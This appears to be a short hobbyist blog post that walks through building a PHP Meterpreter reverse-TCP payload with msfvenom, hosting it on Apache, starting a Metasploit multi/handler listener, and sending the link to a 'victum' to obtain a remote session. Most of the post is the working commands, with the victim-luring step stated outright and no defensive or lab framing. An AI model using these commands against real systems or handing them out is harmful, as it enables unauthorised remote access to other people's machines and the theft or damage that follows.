So let make payloads with php using msfvemon
what is msfvemon ?? well metasploit framework venom is a payload gen in Kali Linux parrot cyborg hawk black arch hell u can get it on your mobile with termux
so lets start but starting apache2 so open terminal and type >service apache2 start
now we need are local ip or external ip for local ip ifconfig and for external google whats my ip
note if using external link u need to forward the ports on your router but thats for another post lol
now u got the local ip lets make the payloadmsfvenom -p php/meterpreter/reverse_tcp LHOST= 192.168.8.107 LPORT=4444 -e php/base64 -f raw > /root/Desktop/Home.php
now go to the Desktop and copy the payload to ur html file in /var/www/html folder
now open a new terminal and type msfconsole
use exploit/multi/handler/
set payload php/meterpreter/reverse_tcp
set lhost ur local host or external ip or serveo or ngrok there for another post
set lport 4444
exploit
now send the victum the link 192.168.8.107:4444/Home.php as u see from the pic above the payload connected ^^^
now type help and u get full list commands u can run under metasploit 🙂 next one i do on payloads i will show u how to make payload with out ur ip
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.